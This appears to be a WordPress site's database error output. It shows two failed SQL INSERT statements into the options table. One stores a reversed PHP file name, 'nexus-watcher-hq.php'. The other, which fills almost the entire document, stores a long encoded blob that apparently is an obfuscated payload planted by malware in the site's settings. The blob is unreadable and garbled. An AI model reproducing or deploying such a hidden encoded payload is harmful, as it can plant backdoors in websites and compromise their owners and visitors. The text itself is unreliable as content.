WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('b9a9e7e0c076', '4.3.24|php.qh-rehctaw-suxen', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('97c1fc80a3ee', '|FHHNDIHF^@CvvSVVv\V\,	\2F\\\\\\\4\;\0v\V\,	\).5F\\\\\\\\FSS	RSSQQv\V\8F\\\\\\\,
\\\v\V\*F\\\\\\\\\\\MRNRHv\V\=	F\\\\\\\\\\\\0\4v\V\0F\\\\\\\\\\\;,0QNRLQQv\V\(\8F\\\\\\\QQv\V\.	\\F\IRLv\V\.	\,4,F\\\\\\KRLv\VSvSV\/?*FHRORNH\VSvT]	#T[#JO
[UZZ]TTT[/?#?3.9#>33(#*9.[UZZ
#TTU/?#?3.9#>33(#*9.P[HRORNH[P[BA[UU  TTX;03>=0/'[##
[!UZZ
#TTUX;03>=0/'[##
[!P[HRORNH[P[BA[UUUU	\LM
NTXU\XA	GTXAAA	UXA#TT[MNJ[P[&BY4Y7[P[:_O_S:[P[=0&4 0-4[P[ BA#7 Y4 [#&A&[P[2# Y=0&4 0-4[P[FNYN+WY\][P[&A7&[P[A#-[P[&=&A[P[&A4 [P[# 0-4[P[=0&4 0-4[P[A#-[P[FNYN+WY\][P[  -E2# &[P[-#[P[B/-7[P[ # [P[A7B/[P[4 0-4[P[ BA#7 Y4 [#&A&[P[B7[P[A4- 0-[P[A4- 0-[P[&&Y24AYA4-Y#[P[  A-[P[#&Y#[P[#&Y3#A0=4[P[FNY"
WJKWJY\][P[3EB7 A4 A[P[  L[P[  _&BYA-[P[#&Y#[P[-#[P[#&Y3#A0=4[P[ BA#7 Y4 [#&A&[P[A4 [P[JN\][P[&BYA-Y# [4[P[ BA#7 Y4 [#&A&[P[400A/[P[MNJ[P[A#-[P[  L[P[  _&BY[P[-R[P[#[P[  B74Y[P[&=&A[UPT[-R[P[B74[P[_/[P[#&Y&A# 2[P[&A4 [P[#&Y#[P[#&Y#4[P[#4Y24AYB7 A4 A&[P[ BA#7 Y4 [#&A&[P[07-S 4O9#[P[FNY"
WJKWJY\][P[  2# &  [P[ BA#7 Y4 [#&A&[P[400A/[P[400A/[P[#&Y&A# 2[P[#&Y#4[P[24AY7A#7 [P[ BA#7 Y4 [#&A&[P[0A4Y7A#7 [P[_/[P[0BA#4Y2# &[P[#&Y00[P[# Y00[P[0BA#4Y2# &[P[00Y04&[P[#&Y&A# 2[P[42Y-0AB/[P[  L  LP'"8L>L_L>L_L>^'LPL    [P[#4-A#-4[P[#4&#Q4[P[&BYB7 Y4AB/[P[&BY070YA[P[00B/4Y24AY4&#7 [P[K]K]Y
	JF]K[P[&AA7734[P[K]K]Y
	JF]K[P[&A7&[P[00B/4[P[#A4&44[P[&A7&[P[74 #A4&44[P[/Y&0#Y 0-4[P[B#[P[]K*KJYKJ
\[P[K]K]Y
	JF]K[P[# #Y24A[P[74 Y=0&4#[P[400A/[P[4 [74[UPT[&A7&[P[\MYWK[P[MNJ[P[&BY7BY [P[&BY7BY [P[&BY7BY [P[#&Y7=4BA[P[-4A/7Y4 [#&A&[P[24AY0[P[K+K"J'KJY+
"H[P[H6'9^[P[&BY7BY [P[7B[P[74 [P[&&Y24AYA4-Y#[P[A#-[P[  &BY[P[_7B[P[&BY7BY/[P[&BY7BY/[P[&BY7BY/[P[4[P[K+K"J']K+KKY+
"H[P[H^[P[\++
FY	+KY
\[P[J/730=4[P[8'[P[&=&A[P[8'[P[&BY47&[P[B7 A[P[&BY47&[P[00Y&#B4[P[0Y0BA#7 [P[#&Y&A# 2[P[0Y#A4[P[#&Y&A# 2[P[ BA#7 Y4 [#&A&[P[#[P[  B0B/4[P[  # 4 [_/[P[#&Y3#A0=4[P[  B0B/4[P[#&Y#[P[FNY"
WJKWJY\][P[#&Y3#A0=4[P[#&Y3#A0=4[P[&BY24[P[&BY24[P[&BY24[UPT[&BY24[P[&BY24[P[400A/[P[42#&A4Y&/A73 Y BA#7 [P[42#&A4Y&/A73 Y BA#7 [P[4#2Y3 :,,#[P[&BY24[P[&BY24[P[ # [P[ BA#7 Y4 [#&A&[P[7B0B/4Y# 0#0A4[P[47Y24AY0&A[P[#&Y00[P[#4[P[A4[P[A4[P[-4&&024[P[734'-4-7'&#Q4[P[0 [#--'4 [4BA#7 'A#-4[P[400A/[P[400A/[P[400A/[P[#4[P[#4[P[&BY=77AY4[P[&BY=77AY&A[P[ BA#7 Y4 [#&A&[P[B40&A0AB0B/4[P[#4Y24AYB7 A4 A&[P[  _Y[P[  _=Y[P[A#-4[P[&BY0A4Y=0[P[A#-4[P[ 7[P[#&Y3#A0=4[P[24AY7A#7 [P[# Y00[P[00Y#[P[0#[P[_7[P[ BA#7 Y4 [#&A&[P[# 0-4[P[#&Y00[P[&=&A[P[_/_7[P[  _&Y[P[  L>L_L>L_L>  [P[<[P[#4YAYB7 A4 A&[UPT[&BY4 # 2Y# 0#0A4[P[2# &Y704[P[=4&49S2BI0[P[4&QBO&&R3[P[-R[P[9_9_9[P[4 [74[P[4&[P[4&[P[0A/# 7[P[#4&#Q4[P[#4Y24AYB7 A4 A&[P[  L  LP'"8L>L_L>L_L>^'LPL    [P[0A/# 7[P[0BA#4Y2# &[P[#&Y-A#&#A4[P[24AY&#A4Y7A#7 [P[0BA#4Y&#A43#4Y2# &[P[#&Y&A# 2[P[  L  LP'"8L>L_L>L_L>'LPL    [P[0A/[P[#&Y&A# 2[P[#&Y&A# 2[P[40[P[27 4[P[4&[P[4&[P[&BY4YA77[P[2# &Y704[P[B&222R=-&SR[P[&A0A# 2[P[ BA#7 Y4 [#&A&[P[00Y#[P[4[P[4&QBO&&R3[P[ BA#7 Y4 [#&A&[P[74 #[P[40#[P[74 #[P[__[P[B7&4#[P[B7&4#[P[ BA#7 Y4 [#&A&[P[&B0 #[P[00Y04&[P[ BA#7 Y4 [#&A&[P[27=[P[  P[P[#&Y00[P[00Y-0[UPT[=0&4 0-4[P[&A7&[P[G?[P[A74 Y24AY0[P[J
KWYN]K[P[#&Y00[P[9 [I:RSB$"$R,,:,9"=I$	,$=I9$K9O[P[9 [,OI$BKRBO	SRI4,O\$$$:$,K\0==4I:=[P[9 [SBR:ORK	9$I:90:,I9:MIOIOR\R90=MM[P[/AA&8    9 [B_#7  4A/[P[/AA&8    4A/44-E=#B_ 7#4&_0[P[/AA&8    4A/_B_72[P[/AA&8    B_4A/_20A430_-[P[/AA&8    4A/_=7B0Q7_ [Q[P[/AA&8    =#BE4A/_ 73 74&_#7[P[/AA&8    4A/E-0#  4A_B0&A_B7-?0#Y4 [=/FM$F2,W$=+N+-23T4":2SF3	#2-NF] [&K*3[P[/AA&8    4A/$_00_=#[P[/AA&8    4A/_B_= [= _B7-[P[/AA&8    4A/E-0#  4A_=#B_=0&A0#_#7[P[/AA&8    20A430_A4 4_B7  =#B  -0#  4A[P[/AA&8    4A/44-_B_&=4_ 4A37  =#B[P[/AA&8    4A/44-EB_=#B 74_B7-[P[/AA&8    -0#  4A_20A430_A4 4_B7[P[/AA&8    4A/_0#_7 # 0#A_#7  =#B[P[/AA&8    4A/44-_=#B_=7B#_ 4A37  $  B  =#B[P[/AA&8    4A/44-E&7 EB_&A04_#7[P[/AA&8    B_&4 A#7_ [Q  -0#  4A[P[/AA&8    4A/_-44_#7[P[/AA&8    4A/_0#_7B4A_ 4A37[P[0-# Y[P[0-Y[P[0-# #&A0A7Y[P[=0BY[P[2Q4 B74[P[2Q40A4[P[0B[P[BBOS[P[&A4 [P[&A4 [P[&A4 [P[ 0B[P[#&Y00[P[2Q4B74[P[2Q# 0A4[P[#&Y&A# 2[P[/4 [S=# [P[0B[P[P[P[3E0-#   [P[3E# B4&  [UPT[FNY"
WJKWJY\][P[27=[P[P_/[P[#&Y00[P[00Y0 [P[3Y0 [P[0 [P[#&Y&A# 2[P[B0Y&4Y B[P[3Y4-7A4Y24A[P[A#-47A[P[&&4#[P[#-#AY4&7 &4Y&#Q4[P[#&Y3Y47[P[ BA#7 Y4 [#&A&[P[BY# #A[P[BY&4A7AY00[P[BY4 [4B[P["]+
NJY]KJ]WJ]W	K][P["]+
NJYJK
J[P["]+
NJY+YK]	TNKK][P["]+
NJY+YK]	T
J[P["]+
NJYW
N]
]K[P["]+
NJYN]
]K	W"J
W[P[/AAYB74[P[&A4 [P[3Y4-7A4Y7&A[P[#-#AY4&7 &4Y&#Q4[P[/404&[P[=7[P[8'[P[C'[P[BY&4A7AY00[P["]+
NJYN
J[P["]+
NJYN
J	K+\[P["]+
NJYJJNK\K][P["]+
NJYN]
]K	W"J
W[P[ BA#7 Y4 [#&A&[P[24AY7A#7 [P[&BY0&AYB[P[00Y &/#A[P[A#-[P[X@&7 B@8@S_9@6@#@8O6@-4A/7@8@4A/YB0@6@00-&@8ZX@0A0@8@9 [O=BR4O9@6@A7@8@[P[@;6@0A4&A@U;[P["7 A4 AEJ4[P[0#B0A#7   &7 [P[-#B7A#-4[P[-#B7A#-4[P[&7 Y4B74[P[4&A[UPT[#&Y&A# 2[P[9 [[P[/4 [S=# [P[7[P[&=&A[P[&A4 [P[&A4 [P[#&Y&A# 2[P[4&74[P[BY4BAY0#4[P[&A4 [P[4&74[P[BY=0Y4Y4 2A/[P[00Y04&[P[00Y#A4[P[00Y-0[P[42Y&#A[P[  L?L   [P[0A4Y7A#7 [P[&BYBSYB0B/4[P[#-74[P[&44Y4[P[&[P[&Y4[P[#&Y&A# 2[P[42Y&#A[P[  L?L   [P[&44Y4[P[4&74[P[BY0Y0#4[P[&4#0#Q4[P[B/[P[-AY0 [P[7[P[=0&4:Y4 B74[P[24AY7A#7 [P[=0&4:Y4B74[P[&A4 [P[NNYK]
WY\[P[ &4#0#Q4[P[0734YB0&&4&[P[&AY40B4[P[&=&A[P[-R[P[4[P[&3[P[&3Y[P[&A4 [P[&A4 [P[&3YB0B/4[UPT[#&Y&B00[P[&BY47&[P[47&[P[00Y-424[P[00Y #4[P[&BY47&[P[ 7[P[&/Y47&[P[&A4 [P[&A4 [P[B/[P[&BY070Y4&#&A4 A[P[B7  A40[P[B7  A40[P[&BY# A40[P[# A40[P[#&0[P["&A7-'-0# A4 0 B4'# A40[P[&BY20Y# A40[P[#&0[P["&A7-'-0# A4 0 B4'# A40[P[ BA#7 Y4 [#&A&[P[3Y 4 [AY&B/44[P[3Y&B/44Y44 A[P[&BYB/0# [P[-AY0 [P[\
WY"]
W[P[&/A73 [P[ [4B4QIO2#Q$2A-[P[&#A4Y[P[3Y4-7A4Y24A[P[3EB7 _/?7# 2Y3YB7 [P[=7B# 2[P[0&AB2#Y# #&/Y44&A[P[#A4&44Y# #&/Y44&A[P[#2 74Y&4Y0=7A[P[Q#=_7AAYB7-4&&#7 [P[7=Y24AY44[P[ BA#7 Y4 [#&A&[P[7=Y24AY4 2A/[P["7 A4 AE+4 2A/8'[P["7  4BA#7 8'B7&4[P[7=Y4 Y&/[P[&/[P[3Y&B/44Y&# 24Y44 A[P[\M+KYFNY"]
W[P[ BA#7 Y4 [#&A&[P[&BY0&AY4AB/YA&[P[ BA#7 Y4 [#&A&[P[&BY&44 Y4[UPT[3Y &B/44Y44 A[P[3Y 4 [AY&B/44[P[4AB/[P[B7 Y&A04Y# # 4[P[A#-4[P[ BA#7 Y4 [#&A&[P[&4AYA#-4Y#-#A[P[&4AYA#-4Y#-#A[P[&/A73 [P[24AYA0 &#4 A[P[&BY070Y4&#&A4 A[P[#&Y00[P[2# ]4&[P[&BY2# Y4&[P[# 4BA]4&[P[&BY# 4BAY4&[P[# 4BA]4&[P[&[P[&BY&[P[024[P[024[P[024[P[&BY024[P[024[P[&BY&3[P[B0B/4[P[ BA#7 Y4 [#&A&[P[&BY0&AY/40YA&[P[24AYA0 &#4 A[P[&BY/40Y&B0 [P[&B[P[#&Y&A# 2[P[&BY0&AY/40YA&[P[A#-4[P[FNYN+WY\][P[ BA#7 Y4 [#&A&[P[  P  P_/[P[42Y40B4[P[  L&>  [P[#4Y24AYB7 A4 A&[P[42Y40B4[P[ BA#7 Y4 [#&A&[P[&4AYA0 &#4 A[P[&BY0&AY/40YA&[P[ 7[P[/40[P[#Y0BA#7 [P[ BA#7 Y4 [#&A&[P[ [4B4QIO2#Q$2A-[P[/7-4Y[UPT[&BY0&AY/=[P[24AYA0 &#4 A[P[&BY070Y4&#&A4 A[P[070JA[P[070JA[P[&BY0&AY4AB/Y0#YA&[P[&BY4AB/Y0#&[P[-0 [[P[-# [P[4[P[/[P[&0#[P[&&[P[ BA#7 Y4 [#&A&[P[#&Y&&[P[-&[P[#&Y-A#&#A4[P[3[P[3Y4&#7 [P[&[P[&BY&[P[&Y7 [P[&Y4 [P[&A4 [P[&Y4[P[&BY&Y# A4[P[&Y7=[P[&BY&Y7=Y&4[P[&YA&[P[24AY7A#7 [P[&BY&Y# A4YA&[P[&3Y[P[&3Y/#A&[P[&BY&3Y4Y/#A&[P[&3Y0&A[P[ BA#7 Y4 [#&A&[P[&BY&3Y4Y0&A[P[&3Y/0[P[&BY&3Y/0[P[Y0[P[#&Y#4[P[  00 B4EB0B/4_/[P[#4Y24AYB7 A4 A&[P[Y=[P[  =_/[P[Y7B[P[  7=4BAEB0B/4_/[P[#4Y24AYB7 A4 A&[P[_2Y[P[_2Y[UPT[Y20[P[3E# B4&[P[_/[P[Y20[P[A#-4[P[&4Y# #_#4 0-4[P[#&Y&A# 2[P[ 7 4^[P[_&4_# #[P[Y# #[P[&A7&[P[0A7Y44 Y#4[P[Y/A[P[#&Y#4[P[_/A0BB4&&[P[0A7Y44 Y#4[P[Y3B[P[3EB7 #2_/[P[&A7&[P[3EB7 #2_/[P["YF"[P[44 [P["YJ
YN]KNKW\[P[B[P[FNY]
"KJYK]
W[P[+"FNY[P[FOJ"[P[&2YB0B/44&&Y24YB0B/4[P[B0&&Y4 [#&A&[P["0B/4YK 0=4[P[3Y0&A4&AYB0B/4[P[ BA#7 Y4 [#&A&[P[3YB0B/4Y&44YB0B/4Y#4[P[Y7[P[Y0#&[P[Y0#YA&[P[&BY0&AY4AB/Y0#YA&[P[#B[P[#&Y00[P[B[P[#&Y00[P[A&[P[A&[P[#BY [P[#BYS0[P[ BA#7 Y4 [#&A&[P[&BY=Y-74[P[=[P[#&Y&A# 2[P[&=&A[UPT[ BA#7 Y4 [#&A&[P[24AY7A#7 [P[&BYB0 0[P[B[P[#A4-&[P[4[P[ BA#7 Y4 [#&A&[P[3E72# _/[P[ BA#7 Y4 [#&A&[P[3Y72# Y[P[ BA#7 Y4 [#&A&[P[0&4Y[P[NNY]+Y
J[P[ BA#7 Y4 [#&A&[P[24AY&#A4Y[P[24AY=72# 7[P[[P[ BA#7 Y4 [#&A&[P[0&4Y[P[&#A4[P[JJNY
J[P[JJNY
J[P[K]K]YWK[P[K]K]YWK[P[ BA#7 Y4 [#&A&[P[-0 [Y4 [4BA#7 YA#-4[P[&4AYA#-4Y#-#A[P[-#B7A#-4[P[&44Y4[P[&[P[ BA#7 Y4 [#&A&[P[&BY0&AYBS[P[&/4[P[24AY7A#7 [P[FNYN+WY\][P[27=[P[A#-[P[  P_/[P[=0&4 0-4[P[7-0# [P[2# 4&#7 [P[2# [P[_/[P[77A[P[  L[P[0BA#0A4N2# &[P[-N2# &[P[72# [P[0-# &[P[0-# &"77#4&[UPT[47&[P[ BA#7 Y4 [#&A&[P[3Y&7 Y4 B74[P[&7 Y4 B74[P[0#B0A#7   7BA4AE&A40-[P[A#-[P[&7 Y4B74[P[4AB/[P[BSY4-A'[P[4AB/[P[BSY4BAY0#4'[P[&7 Y4B74[P[A#-[P[&BY0&AYBS[P[BSY=0Y&7 '[P[4AB/Y[P[2# 4&#7 [P[=40B7 [P[>  [P[EY[P[&AY&#A[P[-#B7A#-4[P[&BY=[P[!#[P[! [P[![P[#&Y&A# 2[P[#&Y00[P[#&Y00[P[#&Y00[P[44A4Y7A#7 [P[&BY47&[P[00Y04&[P[&BY47&[P[2# [P[2# [P[A024A4&#7 [P[#&Y&A# 2[P[A024A4&#7 [P[7B40A4[P[2# ]4&[P[&BY2# Y4&[P[&BY2# Y4&[P[#&Y00[P[# 4BA]4&[P[00Y#[P[&YB0B/4[P[&BY&[P[&[P[-R[UPT[&YB0B/4[P[#&Y00[P[#&Y&A# 2[P[&A4 [P[&BY024[P[024[P[024[P[024YB0B/4[P[&3[P[&A4 [P[&3[P[&3[P[ 7[P[A4-0A4&[P[A4-0A4&[P[A4-0A4&[P[20[P[00 B4"0B/4[P[0YA[P[=[P[=YA[P[A/4-4[P[A/4-4YA[P[/A0BB4&&[P[/AYA[P[&4 #[P[ #YA[P[# &A04[P[# &AYA[P[7B+704[P[7BYA[P[#&Y -4#B[P[B7  A40[P[#&Y -4#B[P[&BY4AB/Y0#&[P[&BY0&AY4AB/YA&[P[A [AQB:3=$[P[&BY070Y4&#&A4 A[P[#&Y00[P[&BY070Y4&#&A4 A[P[ 7[P[ BA#7 Y4 [#&A&[P[3Y24AY&B/44Y44 A[P[3YB40Y&B/44Y/77[P[&BY# A40[P[&BY0&AY4AB/YA&[P[&BY4AB/Y0#&[P[G?/[P[0A4[P[& A0 [Y47[UPT[&=&A[P[4Y-#&-0AB/[P[ 7Y&B[P[ 7Y4[P[-R[P[-R[P[ # [P[ BA#7 Y4 [#&A&[P[/7-4Y[P[4#4BA#7 [P[&&4#[P[ BA#7 Y4 [#&A&[P[ BA#7 Y4 [#&A&[P[24AY7A#7 [P[#&Y00[P[0A4[P[40B4Y0#[P[&4AYA0 &#4 A[P[&BY4B74YB/4B[P[3Y4-7A4Y24A[P[/7-4Y[P[3Y4-7A4Y24A[P[  ?&BYB=[P[-AY0 [P[A#-47A[P[&44[P[&44[P[&44[P[7=0BY0#Y[P[_/[P[0BA#4Y2# &[P[0BA#4Y2# &[P[&BY4&#&A4[P[0A4[P[B0 0Y7=0BY[P[&B[P[24AY2# &[P[#4Y4 [#&A&[P[3E0-#   # B4&  2# _/[P[24AY2# &[P[#&Y&A# 2[P[&B0 [P[# 0-4[P[#&Y400=4[P[# B[P[/A-[P[/A-[P[&[P[B7 A[P[#&Y# [UPT[0A/# 7[P[NJW	
YKJKW
W[P[&AA7734[P[&A7&[P[40BA#0A4Y2# &[P[3E0-#   # B4&  2# _/[P[ BA#7 Y4 [#&A&[P[# 0-4[P[#&Y#[P[# 0-4[P[# 0-4[P[ BA#7 Y4 [#&A&[P[44A4Y2# &[P[B4 AY&4YB0 [P[24AY&4&[P[3Y&4AYB4 AY&4[P[74[P[0-# #&A0A7[P[ -=4[P[3Y&4AYB4 AY&4[P[#&Y&A# 2[P[__[P[FNYN+WY\][P[400A/[P[&A7&[P[&B0 #[P[\]K"J
]TYKN]J
][P[-#[P[#4Y4 [#&A&[P[00Y4&[P[#&Y&A# 2[P[#&Y#[P[#&Y00[P[&BY2# Y4&[P[&BY# 4BAY4&[P[4&B0 [P[&BY0&AYA-B40 [P[&BY[P[&BY[P[3Y[P[#&Y00[P[#4-A#-4[P[_/[P[3EB7 A4 A[P[  2# &[P[ BA#7 Y4 [#&A&[P[27=[P[# 0-4[P[# Y00[P["Y\NYMKW[UPT[  L ?L  LP'"Y\NYMKW8Z0EQE9EI_Y8U>^'LPL  _P?L  LP'"Y\NYKW\8L$'LPL  L ?  &[P[#&Y&A# 2[P[ BA#7 Y4 [#&A&[P[7B0B/4Y# 0#0A4[P[&BY0&AY4&B0 [P[&BY0&AY4&B0 [P[4#7#B[P[-#20A4[P[&BY# 0#[P[&BY-#2Y0#[P[#&Y400=4[P[#&Y3#A0=4[P[-Y 7AY3#A0=4[P[&4AYA0 &#4 A[P[&BY-#2Y0#[P[#&Y#4[P[-R[P[#&Y#4[P[#4Y24AYB7 A4 A&[P[#4Y24AYB7 A4 A&[P[#&Y#4[P[#4Y24AYB7 A4 A&[P[&BY-#2Y0#[P[-#20A4[P[#&Y&A# 2[P[ 7[P[ 7[P[44A4YA0 &#4 A[P[ BA#7 Y4 [#&A&[P[0A4Y7A#7 [P[&BY# #A#0#Q4[P[ 7[P[0Y7A#7 [P[ BA#7 Y4 [#&A&[P[&BY0&AY4AB/YA&[P[ 7[P[44A4YA0 &#4 A[P[&B[P[ 7[P[&/A73 [P[&/A73 [P[A-2$-IY&ASQ&[P[# #A[P[44A4Y7A#7 [P[A#-47A[P[30-[P[#&Y0-# [P[ BA#7 Y4 [#&A&[P[0BA#0A4Y2# &[P[0BA#7 [UPT[0BA#0A4[P[0BA#0A4E&44BA4[P[B/4B4[P[#&Y&A# 2[P[3Y&04Y4#4BA[P[ BA#7 Y4 [#&A&[P[0-# Y[P[2# &_/[P[&B0 Y0BA[P[7# &[P[2# &[P[MNJ[P[=_/[P["Y\M[P[00 B4EB0B/4_/[P["Y\[P[#4Y24AYB7 A4 A&[P[&A7&[P[  P'[P[YMKW8[P[  L  LP'[P[YMKW8Z0EQE9EI_Y8U>^'LPL  _P?L  LP'[P[YKW\8L$'LPL    &[P[#&Y&A# 2[P[-&A&4[P[=0&4 0-4[P[-&A&4[P[B$$R#B$[P[G&A4<AZ0A0E2# @[P[@U6AZ0A0E2# @[P[@UX#&08 7 4.#-7A0 A;G  &A4<[P[G&B#A<7B-4 A_0K4 A+#&A4 4@\
"7 A4 A+704@6 BA#7 ^X7B-4 A_444BA7@AZ0A0E2# U@^_7K0B/ BA#7 ^X0'_24AAA#=A4@0A0E2# @^C#@[P[@@[P[@^_4-74^;^C0'B7B-4 A_444BA7@_&=&=&='_-&A&4'_B7 A@^C#B^X0' 0&4 AB_A4 [A"7 A4 A_40B4  Z19EIU  26@@^^9C# <9^B_A4 [A"7 A4 A@@>0A/_-0 [96 E$^>@^@;;^CG  &B#A<[P[-Q4-2QYY0[P[#&Y7=4BA[P[/ R4&=2/47[P[#&Y00[P[24AY2# Y0A0[P[W0-4[P[3E2# &E0BA#4[P[3E2# &E# 0BA#4[P[#4&[P[#4&[P[#4&[P[3E-E2# &[P[3E2# &E-&A&4[P[=0&4 0-4[P[#&Y#[P[ BA#7 Y4 [#&A&[UPT[  P'"8[P[  N2# 'W0-48L&PZ1LL PU>^  #[P[3E7# &[P[#4&[P[FNY"
WJKWJY\][P[00 B4EB0B/4_/[P[#&Y&A# 2[P[&A7&[P[  P'"8[P[3E7# &[P[#&Y00[P[=0&4 0-4[P[0AA4 [P[42Y7A4[P[()[P[/#4 [P[0AA4 [P[)  [P[77A&[P[#&Y# A[P[77A&[P[0AA#=A4&[P[0AA#=A4&[P[77A&[P[0AA#=A4&[P[NNYV
]YK]
W[P[NNYV
]YK]
W[P[B0&&Y4 [#&A&[P[4	# 4"7  4BA7[P[=0&4 0-4[P[  3E#4E-0 024  #=  /  4	# 4"7  4BA7_B0&&_/[P[  #4E-0 024  #=  /  4	# 4"7  4BA7_B0&&_/[P[  #4E-0 024E00 B4  #=  /  4	# 4"7  4BA7_B0&&_/[P[# 0-4[P[_B0&&_/[P[_/[P[#4Y24AYB7 A4 A&[P[&A7&[P[B0&&'4	# 4"7  4BA7[P[  1L&PGL?/^?  [P[&AY40B4[P[B0&&'Y"Y4	# 4"7  4BA7Y]40[P[G?/'[P[Y&BY/#4[P[Y&BY/#4Y#[P[G?/'B0&&'4	# 4"7  4BA7'4 [A4 &'Y"Y4	# 4"7  4BA7Y]40'X[P[7A4BA4' BA#7 '7AA'00'(0A0'^'X[P[(/#4''#&&4A'(+
M+Z@Y&BY/#4@U'^'?'(+
M+Z@Y&BY/#4@U'8'@@C[P[#''(/#4'.'@@'!!' BA#7 Y4 [#&A&'@&BY-Y#A4@'^'^'X[P[(0A0''&BY-Y#A4'(0A06'(/#4'^C[UPT[04 A887AA'(0A0'^C[P[-[P[A,:& [3 QA9Y:74:[P[#4&[P[04[P[B/0 24[P[A44[P[ 0-4[P[24AYA0 &#4 A[P[&BY4B74YB/4B[P[&A4 [P[#4Y24AYB7 A4 A&[P[#&Y&A# 2[P[&BY0A4Y=0[P[#&Y&A# 2[P[&A7&[P[&=&A[P[&A7&[P[#&Y&A# 2[P[&A4 [P[-R[P[-R[P[&4AYA0 &#4 A[P[&BY4B74YA/7AA4[P[4B74[P[&7B4Y4-A[P[&BY4B74YA/7AA4[P[&A4 [P[# 0-4[P[#4Y24AYB7 A4 A&[P[ BA#7 Y4 [#&A&[P[ BA#7 Y4 [#&A&[P[&4AYA0 &#4 A[P[&BY4B74YB/4B[P[3Y&4 Y 43Y&4Y 7A##B0A#7 YA7Y0-# [P[YY4A Y0&4[P[3Y 43Y&4Y 7A##B0A#7 Y4-0#Y0-# [P[YY4A Y0&4[P[ BA#7 Y4 [#&A&[P[4-74Y0BA#7 [P[42#&A4Y 43Y&4[P[3Y&4 Y 43Y&4Y 7A##B0A#7 &[P[4#AY&4YB40A4Y&4[P[3Y&4 Y 43Y&4Y 7A##B0A#7 &[P[3Y72# [P[3Y 7A#Y0-# Y 43Y72# [P[3=[P[B00=##A#4&[P[K+K"J'_\6'_&4Y72# 6'_&4Y0&&6'_&4Y4-0#'	]
'[P[''WWK]'V
W'[UPT['-'
W'_\''-_&4Y#'FK]K'-_-4A0Y4''5&'W\'-_-4A0Y04'+K'5&[P[50-# #&A0A75[P[A7[P[ BA#7 Y4 [#&A&[P[3Y24 40A4Y0A/YB77#4[P[FNY4&&#7 YJ74 &[P[&4B4Y0A/[P[0A/[P[K"]KYJY"

K[P[JY"

K[P[+
K\YWY"

K[P["

KY\
W[P[A#-[P["

KNJ[P[\WY"

KYNJ[P[  3E0-# [P[J]K[P[	+K[P[3Y-0#[P[#&&4[P[&4Y-4A0[P[&4&&#7 YA74 &[P[4 [#0A#7 [P[B7 A[P[24AY# &A0 B4[P[3Y24 40A4Y0A/YB77#4[P[7224Y# [P[J]K[P[3Y24 40A4Y0A/YB77#4[P[ BA#7 Y4 [#&A&[P[B77#4&[P[3Y-0#[P[#&Y&A# 2[P[#&Y&A# 2[P[=[P[=[P[#&Y00[P[-4A/7Y4 [#&A&[P[/0&YB0[P[#&Y&A# 2[P[A&[P[A&[P[ 7[P[# A4B4A[P[#&Y&A# 2[P[#B[P[ 7[P[72# YB[P[  1[P[Z0E9EIUX6$9;(  [UPT[#&Y&A# 2[P[[P[/A[P[/$R&B#-Y,-2I9 [P[#&Y00[P[4 [74[P[/$R&B#-Y,-2I9 [P[&B[P[#4YAYB7 A4 A&[P[&A4 [P[# 0-4[P[#&Y#[P[#7[P[0A7-#BY 7Y#'[P[=0&4 0-4[P[0A7-#BY=0Y/'[P[#&Y# [P[#&Y#4[P[#&Y# [P[#4&#Q4[P[ BA#7 Y4 [#&A&[P[#7[P[0A7-#BY 7YA4- 0-'[P[=0&4 0-4[P[3=[P[3#A4[P[ BA#7 Y4 [#&A&[P[& B[P[0A7-#BYA4-Y0#'[P[0A7-#BY&/7AY3#A4'[P[#&Y#4[P[_&B7[P[#&Y#4[P[#&Y#4[P[0A7-#BY4 0-4Y0#'[P[&A4 [P[ BA#7 Y4 [#&A&[P[/0&/Y#4[P[&=&A[P[#7[P[0A7-#BY4#Y0#'[P[#&Y&A# 2[P[-R[P[0A7-#BYA/#Y0A'[P[#4YAYB7 A4 A&[P[G?[P[#&Y#4[P[32$& [40QO3 /[P[&A7&[P[&BY=[UPT[3Y4-7A4Y24A[P[4#4BA#7 [P["0B/4E"7 A7[P[ 7EB0B/4[P[ BA#7 Y4 [#&A&[P[&44[P[/404&[P[  L ?G74'-7Y/Z9EI_UPL_B<L&P/Y04'0A7Y44 Y#4Z1L UP[P[Z1L UPL GL  74<L ?  #[P[  L ?G74'#A4&44<L&P/Y04'0A7Y44 Y#4Z1L UP[P[Z1L UPL GL  74<L ?  #[P[  L ?/Y04'0A7Y44 Y#4Z1L UP[P[Z1L UPL ?  #[P[7B0B/4Y24AY&A0A&[P[7B0B/4Y4 0=4[P[3#A4Y0#4'[P[&A4 [P[=0&4 0-4[P[ BA#7 Y4 [#&A&[P[3#A4[P[7B[P[ BA#7 Y4 [#&A&[P[&4AYA0 &#4 A[P[&BY0-# YA#B[P[&BY0-# Y# #2/A[P[ BA#7 Y4 [#&A&[P[44A4YA0 &#4 A[P[24AY7A#7 [P[=[P[ BA#7 Y4 [#&A&[P[&4 0-4Y4 [#&A&[P[0-# YA#B[P[=[P[4 [0-4_B7-[P[ BA#7 Y4 [#&A&[P[3Y&4AY0&&37[P[3Y&4AY0&&37[P[=[P[0-# [P[B7#&#7 [P[3Y# &4AY&4[P[3E# B4&  &4_/[P[&4Y72# [P[&4Y0&&[P[&4Y4-0#[P[#&0Y 0-4[P[3=[P[0-# [P[ 7Y3=[P[ BA#7 Y4 [#&A&[UPT[3Y/0&/Y0&&37[P[B4 AYA#-4[P[-&[P[TE-E'8#8&[P[&4Y #B4 0-4[P[&4Y42#&A44[P[&4Y&A0A&[P[#&0Y 0-4[P[5&[P[5[P[0-# [P[&Y# &4AY0#[P[&4Y#[P[-4A0Y4[P[-4A0Y04[P[5[P[5&[P[&4Y44[P[B40 Y&4YB0B/4[P[4#Y0#[P[24AY&4Y=[P[72# [P[&4YB0 [P[#&Y00[P[0-# #&A0A7[P[B0Y4#Y0#[P[3Y44A4Y&4[P[MNJ[P[#4Y4 [#&A&[P[3E0-#   # B4&  &4_/[P[ BA#7 Y4 [#&A&[P[=[P[&BYB/0# [P[#&Y7=4BA[P[4Y3/44[P['W\'